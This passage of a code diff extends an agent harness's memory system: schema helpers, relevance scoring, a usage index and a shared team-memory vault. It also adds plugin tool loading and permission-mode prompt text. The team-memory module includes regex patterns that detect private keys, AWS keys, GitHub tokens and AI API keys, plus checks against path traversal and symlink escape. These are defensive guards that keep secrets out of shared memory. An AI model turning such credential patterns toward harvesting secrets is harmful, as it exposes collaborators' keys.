relative_path=path.name,
tags=coerce_str_list(metadata.get("tags")),
frontmatter=metadata,
)
def _metadata_from_header(header: MemoryHeader) -> dict[str, object]:
return {
"created_at": header.created_at,
"updated_at": header.updated_at,
"ttl_days": header.ttl_days,
}
+443
View File
@@ -0,0 +1,443 @@
"""Structured memory metadata helpers."""
from __future__ import annotations
import hashlib
import json
import re
import secrets
import string
from dataclasses import dataclass
from datetime import datetime, timedelta, timezone
from pathlib import Path
from typing import Any, Literal
import yaml
SCHEMA_VERSION = 1
MemoryType = Literal["user", "feedback", "project", "reference"]
MemoryScope = Literal["private", "project", "team"]
MEMORY_TYPES: tuple[MemoryType, ...] = ("user", "feedback", "project", "reference")
MEMORY_SCOPES: tuple[MemoryScope, ...] = ("private", "project", "team")
DEFAULT_MEMORY_TYPE: MemoryType = "project"
DEFAULT_MEMORY_SCOPE: MemoryScope = "project"
MAX_ENTRYPOINT_LINES = 200
MAX_ENTRYPOINT_BYTES = 25_000
MAX_MANIFEST_FILES = 200
FRONTMATTER_FIELDS = (
"schema_version",
"id",
"name",
"description",
"type",
"scope",
"category",
"importance",
"source",
"signature",
"created_at",
"updated_at",
"ttl_days",
"disabled",
"supersedes",
"tags",
)
@dataclass(frozen=True)
class EntrypointView:
"""A bounded view of ``MEMORY.md`` plus truncation diagnostics."""
content: str
was_truncated: bool
reason: str = ""
def utc_now() -> datetime:
"""Return the current UTC time without sub-second noise."""
return datetime.now(timezone.utc).replace(microsecond=0)
def format_datetime(value: datetime) -> str:
"""Format a datetime as an ISO-8601 UTC string."""
return value.astimezone(timezone.utc).replace(microsecond=0).isoformat().replace("+00:00", "Z")
def parse_datetime(value: object) -> datetime | None:
"""Parse an ISO datetime value used in memory frontmatter."""
if isinstance(value, datetime):
if value.tzinfo is None:
return value.replace(tzinfo=timezone.utc)
return value.astimezone(timezone.utc)
if not isinstance(value, str) or not value.strip():
return None
raw = value.strip()
if raw.endswith("Z"):
raw = raw[:-1] + "+00:00"
try:
parsed = datetime.fromisoformat(raw)
except ValueError:
return None
if parsed.tzinfo is None:
parsed = parsed.replace(tzinfo=timezone.utc)
return parsed.astimezone(timezone.utc)
def normalize_memory_content(text: str) -> str:
"""Normalize memory content for deterministic signatures."""
lowered = text.lower()
collapsed = re.sub(r"\s+", " ", lowered)
punctuation_table = str.maketrans("", "", string.punctuation)
return collapsed.translate(punctuation_table).strip()
def compute_memory_signature(content: str, memory_type: str, category: str) -> str:
"""Compute a deterministic content signature for duplicate detection."""
normalized = normalize_memory_content(content)
payload = f"{normalized}|{memory_type.strip().lower()}|{category.strip().lower()}"
return hashlib.sha256(payload.encode("utf-8")).hexdigest()
def parse_memory_type(raw: Any, *, default: MemoryType | None = None) -> MemoryType | None:
"""Parse a frontmatter ``type`` value into the canonical runtime taxonomy."""
if isinstance(raw, str):
value = raw.strip().lower()
if value in MEMORY_TYPES:
return value # type: ignore[return-value]
if value in {"note", "memory", "core", "knowledge"}:
return default
return default
def parse_memory_scope(raw: Any, *, default: MemoryScope | None = None) -> MemoryScope | None:
"""Parse a frontmatter ``scope`` value into the canonical scope taxonomy."""
if isinstance(raw, str):
value = raw.strip().lower()
if value in MEMORY_SCOPES:
return value # type: ignore[return-value]
if value in {"personal", "user"}:
return "private"
if value in {"shared"}:
return "team"
return default
def truncate_entrypoint_content(
raw: str,
*,
max_lines: int = MAX_ENTRYPOINT_LINES,
max_bytes: int = MAX_ENTRYPOINT_BYTES,
) -> EntrypointView:
"""Bound ``MEMORY.md`` by line count and UTF-8 byte count."""
lines = raw.splitlines()
was_line_truncated = len(lines) > max_lines
text = "\n".join(lines[:max_lines])
encoded = text.encode("utf-8")
was_byte_truncated = len(encoded) > max_bytes
if was_byte_truncated:
encoded = encoded[:max_bytes]
text = encoded.decode("utf-8", errors="ignore")
cut_at = text.rfind("\n")
if cut_at > 0:
text = text[:cut_at]
if raw.endswith("\n") and not text.endswith("\n"):
text += "\n"
if not was_line_truncated and not was_byte_truncated:
return EntrypointView(content=text, was_truncated=False)
reason = (
f"{len(raw.encode('utf-8'))} bytes (limit: {max_bytes})"
if was_byte_truncated
else f"{len(lines)} lines (limit: {max_lines})"
)
warning = (
f"\n\n> WARNING: MEMORY.md is {reason}. Only part of it was loaded. "
"Keep index entries one line and move detail into topic notes.\n"
)
return EntrypointView(content=text.rstrip() + warning, was_truncated=True, reason=reason)
def memory_age_days(mtime: float, *, now: float | None = None) -> int:
"""Return floor-rounded days elapsed since a file modification time."""
import time
current = time.time() if now is None else now
return max(0, int((current - mtime) // 86_400))
def memory_age_label(mtime: float, *, now: float | None = None) -> str:
"""Return a model-friendly age label."""
days = memory_age_days(mtime, now=now)
if days == 0:
return "today"
if days == 1:
return "yesterday"
return f"{days} days ago"
def memory_freshness_text(mtime: float, *, now: float | None = None) -> str:
"""Return a staleness warning for older memories."""
days = memory_age_days(mtime, now=now)
if days <= 1:
return ""
return (
f"This memory is {days} days old. Memories are point-in-time observations; "
"verify claims against the current project state before treating them as facts."
)
def path_is_relative_to(path: str | Path, root: str | Path) -> bool:
"""Compatibility helper for containment checks."""
try:
Path(path).resolve().relative_to(Path(root).resolve())
except ValueError:
return False
return True
MEMORY_POLICY_LINES: tuple[str, ...] = (
"## Durable memory policy",
"- Store durable memory only when the information is not cheaply derivable from current files, docs, git history, or tool output.",
"- Use `type: user|feedback|project|reference` and optional `scope: private|project|team` frontmatter.",
"- `MEMORY.md` is an index, not a memory body. Keep each pointer one line.",
"- Update or remove stale contradictions instead of duplicating notes.",
"- If the user says to ignore memory, proceed as if no memory was loaded and do not cite, apply, or mention memory contents.",
"- Memory can be stale. Verify remembered project/code state against current files before acting on it.",
"- Do not save secrets, credentials, private personal context in team memory, or temporary task chatter.",
)
def generate_memory_id(now: datetime | None = None) -> str:
"""Generate a stable-looking memory id for a new memory file."""
timestamp = format_datetime(now or utc_now()).replace("-", "").replace(":", "")
timestamp = timestamp.replace("T", "-").replace("Z", "")
return f"mem-{timestamp}-{secrets.token_hex(4)}"
def split_memory_file(content: str) -> tuple[dict[str, Any], str, int, bool]:
"""Split a memory file into frontmatter metadata and body text.
Returns ``(metadata, body, body_start_line, has_closed_frontmatter)``.
Unclosed frontmatter is treated as body content after the opening delimiter.
"""
lines = content.splitlines(keepends=True)
if not lines or lines[0].strip() != "---":
return {}, content, 0, False
for idx, line in enumerate(lines[1:], 1):
if line.strip() == "---":
raw_frontmatter = "".join(lines[1:idx])
metadata = _load_frontmatter(raw_frontmatter)
return metadata, "".join(lines[idx + 1 :]), idx + 1, True
return {}, "".join(lines[1:]), 1, False
def render_memory_file(metadata: dict[str, Any], body: str) -> str:
"""Render metadata and body as a memory markdown file."""
frontmatter = render_frontmatter(metadata)
normalized_body = body.lstrip("\n")
if normalized_body and not normalized_body.endswith("\n"):
normalized_body += "\n"
return f"---\n{frontmatter}---\n\n{normalized_body}"
def render_frontmatter(metadata: dict[str, Any]) -> str:
"""Render memory frontmatter in a stable field order."""
ordered: list[tuple[str, Any]] = []
for field in FRONTMATTER_FIELDS:
if field in metadata:
ordered.append((field, metadata[field]))
for key, value in metadata.items():
if key not in FRONTMATTER_FIELDS:
ordered.append((key, value))
return "".join(f"{key}: {_format_yaml_value(value)}\n" for key, value in ordered)
def is_disabled_metadata(metadata: dict[str, Any]) -> bool:
"""Return whether a memory metadata object marks the file disabled."""
return _as_bool(metadata.get("disabled"), default=False)
def is_memory_expired(metadata: dict[str, Any], *, now: datetime | None = None) -> bool:
"""Return whether a memory should be hidden because its TTL has elapsed."""
ttl_days = _as_optional_int(metadata.get("ttl_days"))
if ttl_days is None or ttl_days <= 0:
return False
base_time = parse_datetime(metadata.get("updated_at")) or parse_datetime(metadata.get("created_at"))
if base_time is None:
return False
return (now or utc_now()) >= base_time + timedelta(days=ttl_days)
def coerce_int(value: object, *, default: int = 0) -> int:
"""Coerce a metadata value to int."""
try:
return int(value) # type: ignore[arg-type]
except (TypeError, ValueError):
return default
def coerce_optional_int(value: object) -> int | None:
"""Coerce a metadata value to optional int."""
return _as_optional_int(value)
def coerce_bool(value: object, *, default: bool = False) -> bool:
"""Coerce a metadata value to bool."""
return _as_bool(value, default=default)
def coerce_str_list(value: object) -> tuple[str, ...]:
"""Coerce a metadata value to a tuple of strings."""
if isinstance(value, str):
return (value,) if value else ()
if isinstance(value, (list, tuple)):
return tuple(str(item) for item in value if str(item))
return ()
def memory_metadata_from_path(
path: Path,
metadata: dict[str, Any],
body: str,
*,
now: datetime | None = None,
source: str = "migration",
default_type: str = "project",
default_category: str = "knowledge",
seen_ids: set[str] | None = None,
) -> dict[str, Any]:
"""Return complete schema-v1 metadata while preserving existing values."""
updated = dict(metadata)
timestamp = _mtime_timestamp(path)
created_at = str(updated.get("created_at") or timestamp)
updated_at = str(updated.get("updated_at") or timestamp)
memory_type = str(updated.get("type") or default_type)
category = str(updated.get("category") or default_category)
memory_id = str(updated.get("id") or "")
if not memory_id or (seen_ids is not None and memory_id in seen_ids):
memory_id = _generate_unique_memory_id(now=now, seen_ids=seen_ids)
if seen_ids is not None:
seen_ids.add(memory_id)
updated["schema_version"] = coerce_int(updated.get("schema_version"), default=SCHEMA_VERSION)
updated["id"] = memory_id
updated["name"] = str(updated.get("name") or path.stem)
updated["description"] = str(updated.get("description") or first_content_line(body) or path.stem)
updated["type"] = memory_type
updated["category"] = category
updated["importance"] = coerce_int(updated.get("importance"), default=0)
updated["source"] = str(updated.get("source") or source)
updated["signature"] = str(
updated.get("signature") or compute_memory_signature(body, memory_type, category)
)
updated["created_at"] = created_at
updated["updated_at"] = updated_at
updated["ttl_days"] = coerce_optional_int(updated.get("ttl_days"))
updated["disabled"] = coerce_bool(updated.get("disabled"), default=False)
updated["supersedes"] = list(coerce_str_list(updated.get("supersedes")))
return updated
def first_content_line(body: str, *, limit: int = 200) -> str:
"""Return the first useful body line for descriptions."""
for line in body.splitlines():
stripped = line.strip()
if stripped and stripped != "---" and not stripped.startswith("#"):
return stripped[:limit]
return ""
def _load_frontmatter(raw_frontmatter: str) -> dict[str, Any]:
try:
loaded = yaml.safe_load(raw_frontmatter) or {}
except yaml.YAMLError:
return {}
if not isinstance(loaded, dict):
return {}
return {str(key): value for key, value in loaded.items()}
def _format_yaml_value(value: Any) -> str:
if value is None:
return "null"
if isinstance(value, bool):
return "true" if value else "false"
if isinstance(value, int):
return str(value)
if isinstance(value, (list, tuple)):
return json.dumps(list(value), ensure_ascii=False)
return json.dumps(str(value), ensure_ascii=False)
def _mtime_timestamp(path: Path) -> str:
try:
modified = datetime.fromtimestamp(path.stat().st_mtime, tz=timezone.utc)
except OSError:
modified = utc_now()
return format_datetime(modified)
def _generate_unique_memory_id(
*,
now: datetime | None = None,
seen_ids: set[str] | None = None,
) -> str:
while True:
memory_id = generate_memory_id(now=now)
if seen_ids is None or memory_id not in seen_ids:
return memory_id
def _as_bool(value: object, *, default: bool) -> bool:
if isinstance(value, bool):
return value
if isinstance(value, str):
lowered = value.strip().lower()
if lowered in {"1", "true", "yes", "on"}:
return True
if lowered in {"0", "false", "no", "off"}:
return False
if value is None:
return default
return bool(value)
def _as_optional_int(value: object) -> int | None:
if value is None:
return None
if isinstance(value, str) and not value.strip():
return None
try:
return int(value) # type: ignore[arg-type]
except (TypeError, ValueError):
return None
+24 -2
View File
@@ -3,10 +3,13 @@
from __future__ import annotations
import re
from datetime import timedelta
from pathlib import Path
from openharness.memory.scan import scan_memory_files
from openharness.memory.schema import parse_datetime, utc_now
from openharness.memory.types import MemoryHeader
from openharness.memory.usage import get_memory_usage
def find_relevant_memories(
@@ -32,8 +35,15 @@ def find_relevant_memories(
# Metadata matches are weighted 2x; body matches 1x.
meta_hits = sum(1 for t in tokens if t in meta)
body_hits = sum(1 for t in tokens if t in body)
score = meta_hits * 2.0 + body_hits
if score > 0:
usage = get_memory_usage(cwd, header.id, memory_dir=header.path.parent)
score = (
meta_hits * 2.0
+ body_hits
+ header.importance * 0.4
+ min(int(usage["use_count"]), 5) * 0.1
+ _recency_boost(header)
)
if meta_hits or body_hits:
scored.append((score, header))
scored.sort(key=lambda item: (-item[0], -item[1].modified_at))
@@ -47,3 +57,15 @@ def _tokenize(text: str) -> set[str]:
# Han ideographs (each character carries independent meaning)
han_chars = set(re.findall(r"[\u4e00-\u9fff\u3400-\u4dbf]", text))
return ascii_tokens | han_chars
def _recency_boost(header: MemoryHeader) -> float:
timestamp = parse_datetime(header.updated_at) or parse_datetime(header.created_at)
if timestamp is None:
return 0.0
age = utc_now() - timestamp
if age <= timedelta(days=14):
return 0.3
if age <= timedelta(days=30):
return 0.1
return 0.0
+90
View File
@@ -0,0 +1,90 @@
"""Local team-memory vault helpers and safety guards."""
from __future__ import annotations
import re
from dataclasses import dataclass
from pathlib import Path
from openharness.memory.paths import get_project_memory_dir
from openharness.memory.schema import path_is_relative_to
TEAM_DIR_NAME = "team"
MEMORY_INDEX = "MEMORY.md"
@dataclass(frozen=True)
class SecretMatch:
"""A possible secret found in shared memory content."""
rule_id: str
label: str
SECRET_RULES: tuple[tuple[str, str, re.Pattern[str]], ...] = (
("private-key", "private key", re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----")),
("aws-access-key", "AWS access key", re.compile(r"\bAKIA[0-9A-Z]{16}\b")),
("github-token", "GitHub token", re.compile(r"\bgh[pousr]_[A-Za-z0-9_]{20,}\b")),
("openai-key", "OpenAI API key", re.compile(r"\bsk-[A-Za-z0-9_-]{20,}\b")),
("anthropic-key", "Anthropic API key", re.compile(r"\bsk-ant-[A-Za-z0-9_-]{20,}\b")),
("generic-secret", "secret assignment", re.compile(r"(?i)\b(secret|token|api[_-]?key|password)\s*[:=]\s*['\"]?[^'\"\s]{12,}")),
)
def get_team_memory_dir(cwd: str | Path) -> Path:
"""Return the project-local shared team memory vault."""
return get_project_memory_dir(cwd) / TEAM_DIR_NAME
def ensure_team_memory_vault(cwd: str | Path) -> Path:
"""Create and return the team memory vault."""
team_dir = get_team_memory_dir(cwd)
team_dir.mkdir(parents=True, exist_ok=True)
entrypoint = team_dir / MEMORY_INDEX
if not entrypoint.exists():
entrypoint.write_text("# Memory Index\n", encoding="utf-8")
return team_dir
def validate_team_memory_write_path(cwd: str | Path, candidate: str | Path) -> tuple[Path | None, str | None]:
"""Validate a write target against traversal and symlink escape."""
team_dir = ensure_team_memory_vault(cwd).resolve()
path = Path(candidate).expanduser()
if not path.is_absolute():
path = team_dir / path
resolved = path.resolve()
if not path_is_relative_to(resolved, team_dir):
return None, f"Path escapes team memory directory: {candidate}"
parent = resolved.parent
deepest = parent
while not deepest.exists() and deepest != deepest.parent:
deepest = deepest.parent
if deepest.exists() and not path_is_relative_to(deepest.resolve(), team_dir):
return None, f"Path escapes team memory directory via symlink: {candidate}"
return resolved, None
def scan_for_secrets(content: str) -> list[SecretMatch]:
"""Return possible secrets in content without exposing matched values."""
matches: list[SecretMatch] = []
for rule_id, label, pattern in SECRET_RULES:
if pattern.search(content):
matches.append(SecretMatch(rule_id=rule_id, label=label))
return matches
def check_team_memory_secrets(content: str) -> str | None:
"""Return an error message when shared memory content appears sensitive."""
matches = scan_for_secrets(content)
if not matches:
return None
labels = ", ".join(match.label for match in matches)
return (
f"Content contains potential secrets ({labels}) and cannot be written to team memory. "
"Team memory is shared with project collaborators."
)
+16 -1
View File
@@ -2,8 +2,9 @@
from __future__ import annotations
from dataclasses import dataclass
from dataclasses import dataclass, field
from pathlib import Path
from typing import Any
@dataclass(frozen=True)
@@ -16,3 +17,17 @@ class MemoryHeader:
modified_at: float
memory_type: str = ""
body_preview: str = ""
id: str = ""
schema_version: int = 0
category: str = ""
importance: int = 0
source: str = ""
signature: str = ""
created_at: str = ""
updated_at: str = ""
ttl_days: int | None = None
disabled: bool = False
supersedes: tuple[str, ...] = ()
relative_path: str = ""
tags: tuple[str, ...] = field(default_factory=tuple)
frontmatter: dict[str, Any] = field(default_factory=dict)
+153
View File
@@ -0,0 +1,153 @@
"""Usage index for recalled memory entries."""
from __future__ import annotations
import json
from datetime import timedelta
from pathlib import Path
from typing import Any
from openharness.memory.paths import get_project_memory_dir
from openharness.memory.scan import scan_memory_files
from openharness.memory.schema import format_datetime, parse_datetime, utc_now
from openharness.memory.types import MemoryHeader
from openharness.utils.file_lock import exclusive_file_lock
from openharness.utils.fs import atomic_write_text
USAGE_INDEX_NAME = "usage_index.json"
STALE_UNUSED_DAYS = 60
STALE_MAX_IMPORTANCE = 1
def get_usage_index_path(cwd: str | Path, *, memory_dir: str | Path | None = None) -> Path:
"""Return the usage index path for a memory store."""
root = Path(memory_dir) if memory_dir is not None else get_project_memory_dir(cwd)
root.mkdir(parents=True, exist_ok=True)
return root / USAGE_INDEX_NAME
def load_usage_index(cwd: str | Path, *, memory_dir: str | Path | None = None) -> dict[str, Any]:
"""Load usage index data, returning an empty index for invalid files."""
path = get_usage_index_path(cwd, memory_dir=memory_dir)
if not path.exists():
return _empty_index()
try:
data = json.loads(path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
return _empty_index()
if not isinstance(data, dict):
return _empty_index()
memories = data.get("memories")
if not isinstance(memories, dict):
memories = {}
normalized = _empty_index()
normalized["memories"] = {
str(memory_id): _normalize_usage_record(record)
for memory_id, record in memories.items()
if isinstance(record, dict)
}
return normalized
def save_usage_index(
cwd: str | Path,
index: dict[str, Any],
*,
memory_dir: str | Path | None = None,
) -> None:
"""Persist usage index data atomically."""
path = get_usage_index_path(cwd, memory_dir=memory_dir)
payload = json.dumps(index, indent=2, ensure_ascii=False, sort_keys=True) + "\n"
atomic_write_text(path, payload)
def get_memory_usage(
cwd: str | Path,
memory_id: str,
*,
memory_dir: str | Path | None = None,
) -> dict[str, Any]:
"""Return usage data for a memory id."""
if not memory_id:
return _normalize_usage_record({})
index = load_usage_index(cwd, memory_dir=memory_dir)
record = index["memories"].get(memory_id, {})
return _normalize_usage_record(record)
def mark_memory_used(
cwd: str | Path,
memories: list[MemoryHeader],
*,
memory_dir: str | Path | None = None,
) -> None:
"""Record that memory entries were recalled into a runtime prompt."""
usable = [header for header in memories if header.id]
if not usable:
return
resolved_memory_dir = Path(memory_dir) if memory_dir is not None else usable[0].path.parent
lock_path = resolved_memory_dir / ".usage_index.lock"
with exclusive_file_lock(lock_path):
index = load_usage_index(cwd, memory_dir=resolved_memory_dir)
now = format_datetime(utc_now())
for header in usable:
record = _normalize_usage_record(index["memories"].get(header.id, {}))
record["use_count"] = int(record["use_count"]) + 1
record["last_used_at"] = now
record["path"] = header.path.name
index["memories"][header.id] = record
save_usage_index(cwd, index, memory_dir=resolved_memory_dir)
def find_stale_memory_candidates(
cwd: str | Path,
*,
memory_dir: str | Path | None = None,
) -> list[MemoryHeader]:
"""Return low-value unused memories that auto-dream should review for pruning."""
resolved_memory_dir = Path(memory_dir) if memory_dir is not None else None
headers = scan_memory_files(
cwd,
max_files=None,
include_disabled=False,
include_expired=False,
memory_dir=resolved_memory_dir,
)
now = utc_now()
candidates: list[MemoryHeader] = []
for header in headers:
if header.importance > STALE_MAX_IMPORTANCE:
continue
usage = get_memory_usage(cwd, header.id, memory_dir=resolved_memory_dir or header.path.parent)
if int(usage["use_count"]) > 0:
continue
updated_at = parse_datetime(header.updated_at) or parse_datetime(header.created_at)
if updated_at is None:
continue
if now - updated_at >= timedelta(days=STALE_UNUSED_DAYS):
candidates.append(header)
candidates.sort(key=lambda item: (item.importance, item.updated_at or "", item.path.name))
return candidates
def _empty_index() -> dict[str, Any]:
return {"version": 1, "memories": {}}
def _normalize_usage_record(record: dict[str, Any]) -> dict[str, Any]:
use_count = record.get("use_count", 0)
try:
use_count = max(0, int(use_count))
except (TypeError, ValueError):
use_count = 0
return {
"last_used_at": str(record.get("last_used_at") or ""),
"use_count": use_count,
"path": str(record.get("path") or ""),
}
+1 -2
View File
@@ -37,7 +37,7 @@ def detect_platform(
if system == "darwin":
return "macos"
if system == "windows":
if system in {"windows", "win32"}:
return "windows"
if system == "linux":
if "microsoft" in kernel_release or env_map.get("WSL_DISTRO_NAME") or env_map.get("WSL_INTEROP"):
@@ -84,4 +84,3 @@ def get_platform_capabilities(platform_name: PlatformName | None = None) -> Plat
supports_sandbox_runtime=False,
supports_docker_sandbox=False,
)
+13 -1
View File
@@ -8,6 +8,18 @@ from pathlib import Path
from openharness.plugins.loader import get_user_plugins_dir
def _resolve_user_plugin_dir(name: str) -> Path:
"""Resolve a user plugin name to a direct child of the plugin directory."""
if not name or name != Path(name).name or "\\" in name:
raise ValueError("invalid plugin name")
plugins_dir = get_user_plugins_dir().resolve()
path = (plugins_dir / name).resolve()
if path.parent != plugins_dir:
raise ValueError("invalid plugin name")
return path
def install_plugin_from_path(source: str | Path) -> Path:
"""Install a plugin directory into the user plugin directory."""
src = Path(source).resolve()
@@ -20,7 +32,7 @@ def install_plugin_from_path(source: str | Path) -> Path:
def uninstall_plugin(name: str) -> bool:
"""Remove a user plugin by directory name."""
path = get_user_plugins_dir() / name
path = _resolve_user_plugin_dir(name)
if not path.exists():
return False
shutil.rmtree(path)
+70 -3
View File
@@ -2,9 +2,12 @@
from __future__ import annotations
import importlib
import importlib.util
import json
import logging
import os
import sys
from pathlib import Path
from typing import Any, Iterable
@@ -24,7 +27,7 @@ from openharness.coordinator.agent_definitions import (
)
from openharness.plugins.schemas import PluginManifest
from openharness.plugins.types import LoadedPlugin, PluginCommandDefinition
from openharness.skills.loader import _parse_skill_markdown
from openharness.skills.loader import _parse_skill_metadata
from openharness.skills.types import SkillDefinition
logger = logging.getLogger(__name__)
@@ -135,6 +138,7 @@ def load_plugin(path: Path, enabled_plugins: dict[str, bool]) -> LoadedPlugin |
skills = _load_plugin_skills(path / manifest.skills_dir)
commands = _load_plugin_commands(path, manifest)
agents = _load_plugin_agents(path, manifest)
tools = _load_plugin_tools(path, manifest) if enabled else []
hooks = _load_plugin_hooks(path / manifest.hooks_file)
hooks_dir_file = path / "hooks" / "hooks.json"
if not hooks and hooks_dir_file.exists():
@@ -154,6 +158,7 @@ def load_plugin(path: Path, enabled_plugins: dict[str, bool]) -> LoadedPlugin |
agents=agents,
hooks=hooks,
mcp_servers=mcp,
tools=tools,
)
@@ -251,7 +256,10 @@ def _load_plugin_skills(path: Path) -> list[SkillDefinition]:
direct_skill = path / "SKILL.md"
if direct_skill.exists():
content = direct_skill.read_text(encoding="utf-8")
name, description = _parse_skill_markdown(path.name, content)
metadata = _parse_skill_metadata(path.name, content)
name = metadata["name"]
description = metadata["description"]
display_name = name if name != path.name else None
skills.append(
SkillDefinition(
name=name,
@@ -259,6 +267,13 @@ def _load_plugin_skills(path: Path) -> list[SkillDefinition]:
content=content,
source="plugin",
path=str(direct_skill),
base_dir=str(path),
command_name=path.name,
display_name=display_name,
user_invocable=metadata["user_invocable"],
disable_model_invocation=metadata["disable_model_invocation"],
model=metadata["model"],
argument_hint=metadata["argument_hint"],
)
)
return skills
@@ -269,7 +284,10 @@ def _load_plugin_skills(path: Path) -> list[SkillDefinition]:
if not skill_path.exists():
continue
content = skill_path.read_text(encoding="utf-8")
name, description = _parse_skill_markdown(child.name, content)
metadata = _parse_skill_metadata(child.name, content)
name = metadata["name"]
description = metadata["description"]
display_name = name if name != child.name else None
skills.append(
SkillDefinition(
name=name,
@@ -277,6 +295,13 @@ def _load_plugin_skills(path: Path) -> list[SkillDefinition]:
content=content,
source="plugin",
path=str(skill_path),
base_dir=str(child),
command_name=child.name,
display_name=display_name,
user_invocable=metadata["user_invocable"],
disable_model_invocation=metadata["disable_model_invocation"],
model=metadata["model"],
argument_hint=metadata["argument_hint"],
)
)
return skills
@@ -661,3 +686,45 @@ def _load_plugin_mcp(path: Path) -> dict[str, object]:
raw = json.loads(path.read_text(encoding="utf-8"))
parsed = McpJsonConfig.model_validate(raw)
return parsed.mcpServers
def _load_plugin_tools(path: Path, manifest: PluginManifest) -> list:
"""Discover and instantiate BaseTool subclasses from a plugin's tools/ directory."""
from openharness.tools.base import BaseTool
tools_dir = path / manifest.tools_dir
if not tools_dir.is_dir():
return []
tools: list[BaseTool] = []
for py_file in sorted(tools_dir.glob("*.py")):
if py_file.name.startswith("_"):
continue
module_name = f"_plugin_tools_{manifest.name}_{py_file.stem}"
try:
spec = importlib.util.spec_from_file_location(module_name, py_file)
if spec is None or spec.loader is None:
continue
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module)
except Exception:
logger.debug("Failed to load plugin tool module %s", py_file, exc_info=True)
continue
for attr_name in dir(module):
attr = getattr(module, attr_name, None)
if (
isinstance(attr, type)
and issubclass(attr, BaseTool)
and attr is not BaseTool
and hasattr(attr, "name")
and hasattr(attr, "description")
):
try:
instance = attr()
tools.append(instance)
logger.debug("Loaded plugin tool: %s from %s", instance.name, py_file)
except Exception:
logger.debug("Failed to instantiate tool %s from %s", attr_name, py_file, exc_info=True)
return tools
+1
View File
@@ -13,6 +13,7 @@ class PluginManifest(BaseModel):
description: str = ""
enabled_by_default: bool = True
skills_dir: str = "skills"
tools_dir: str = "tools"
hooks_file: str = "hooks.json"
mcp_file: str = "mcp.json"
# Extended fields: optional author, commands, agents, etc.
+5
View File
@@ -4,12 +4,16 @@ from __future__ import annotations
from dataclasses import dataclass, field
from pathlib import Path
from typing import TYPE_CHECKING
from openharness.coordinator.agent_definitions import AgentDefinition
from openharness.mcp.types import McpServerConfig
from openharness.plugins.schemas import PluginManifest
from openharness.skills.types import SkillDefinition
if TYPE_CHECKING:
from openharness.tools.base import BaseTool
@dataclass(frozen=True)
class PluginCommandDefinition:
@@ -42,6 +46,7 @@ class LoadedPlugin:
skills: list[SkillDefinition] = field(default_factory=list)
commands: list[PluginCommandDefinition] = field(default_factory=list)
agents: list[AgentDefinition] = field(default_factory=list)
tools: list[BaseTool] = field(default_factory=list)
hooks: dict[str, list] = field(default_factory=dict)
mcp_servers: dict[str, McpServerConfig] = field(default_factory=dict)
+44 -19
View File
@@ -12,8 +12,11 @@ from openharness.config.paths import (
)
from openharness.config.settings import Settings
from openharness.coordinator.coordinator_mode import get_coordinator_system_prompt, is_coordinator_mode
from openharness.memory import find_relevant_memories, load_memory_prompt
from openharness.memory import load_memory_prompt
from openharness.memory.relevance import format_relevant_memories, select_relevant_memories
from openharness.memory.usage import mark_memory_used
from openharness.personalization.rules import load_local_rules
from openharness.permissions.modes import PermissionMode
from openharness.prompts.claudemd import load_claude_md_prompt
from openharness.prompts.system_prompt import build_system_prompt
from openharness.skills.loader import load_skill_registry
@@ -33,7 +36,7 @@ def _build_skills_section(
extra_plugin_roots=extra_plugin_roots,
settings=settings,
)
skills = registry.list_skills()
skills = [skill for skill in registry.list_skills() if not skill.disable_model_invocation]
if not skills:
return None
lines = [
@@ -41,11 +44,14 @@ def _build_skills_section(
"",
"The following skills are available via the `skill` tool. "
"When a user's request matches a skill, invoke it with `skill(name=\"<skill_name>\")` "
"to load detailed instructions before proceeding.",
"to load detailed instructions before proceeding. "
"User-invocable skills can also be run directly by the user as `/<skill-name>`.",
"",
]
for skill in skills:
lines.append(f"- **{skill.name}**: {skill.description}")
command_name = skill.command_name or skill.name
display = f" ({skill.display_name})" if skill.display_name else ""
lines.append(f"- **{command_name}**{display}: {skill.description}")
return "\n".join(lines)
@@ -71,6 +77,28 @@ def _build_delegation_section() -> str:
)
def _build_permission_mode_section(settings: Settings) -> str:
"""Build current permission-mode guidance for the model."""
mode = settings.permission.mode
if mode == PermissionMode.PLAN:
guidance = (
"Plan mode is enabled. Treat this session as read-only planning and analysis. "
"Do not call mutating tools such as file writes, edits, package installs, "
"state-changing shell commands, or task-spawning actions unless the user exits plan mode."
)
elif mode == PermissionMode.FULL_AUTO:
guidance = (
"Full-auto permission mode is enabled. You may use mutating tools when they are necessary "
"for the user's request, while still keeping changes scoped and intentional."
)
else:
guidance = (
"Default permission mode is enabled. Read-only tools can run directly; mutating tools "
"may require explicit user approval."
)
return f"# Current Permission Mode\n{guidance}"
def build_runtime_system_prompt(
settings: Settings,
*,
@@ -78,6 +106,7 @@ def build_runtime_system_prompt(
latest_user_prompt: str | None = None,
extra_skill_dirs: Iterable[str | Path] | None = None,
extra_plugin_roots: Iterable[str | Path] | None = None,
include_project_memory: bool = True,
) -> str:
"""Build the runtime system prompt with project instructions and memory."""
if is_coordinator_mode():
@@ -88,6 +117,8 @@ def build_runtime_system_prompt(
if not is_coordinator_mode() and settings.system_prompt is None:
sections[0] = build_system_prompt(cwd=str(cwd))
sections.append(_build_permission_mode_section(settings))
if settings.fast_mode:
sections.append(
"# Session Mode\nFast mode is enabled. Prefer concise replies, minimal tool use, and quicker progress over exhaustive exploration."
@@ -130,33 +161,27 @@ def build_runtime_system_prompt(
if content:
sections.append(f"# {title}\n\n```md\n{content[:12000]}\n```")
if settings.memory.enabled:
if include_project_memory and settings.memory.enabled:
memory_section = load_memory_prompt(
cwd,
max_entrypoint_lines=settings.memory.max_entrypoint_lines,
max_entrypoint_bytes=settings.memory.max_entrypoint_bytes,
)
if memory_section:
sections.append(memory_section)
if latest_user_prompt:
relevant = find_relevant_memories(
relevant = select_relevant_memories(
latest_user_prompt,
cwd,
max_results=settings.memory.max_files,
)
if relevant:
lines = ["# Relevant Memories"]
for header in relevant:
content = header.path.read_text(encoding="utf-8", errors="replace").strip()
lines.extend(
[
"",
f"## {header.path.name}",
"```md",
content[:8000],
"```",
]
)
sections.append("\n".join(lines))
try:
headers = [item.header for item in relevant]
mark_memory_used(cwd, headers, memory_dir=headers[0].path.parent)
except OSError:
pass
sections.append(format_relevant_memories(relevant))
return "\n\n".join(section for section in sections if section.strip())
@@ -0,0 +1,34 @@
"""Automatic memory consolidation (auto-dream)."""
from openharness.services.autodream.backup import (
create_memory_backup,
diff_memory_dirs,
format_memory_diff,
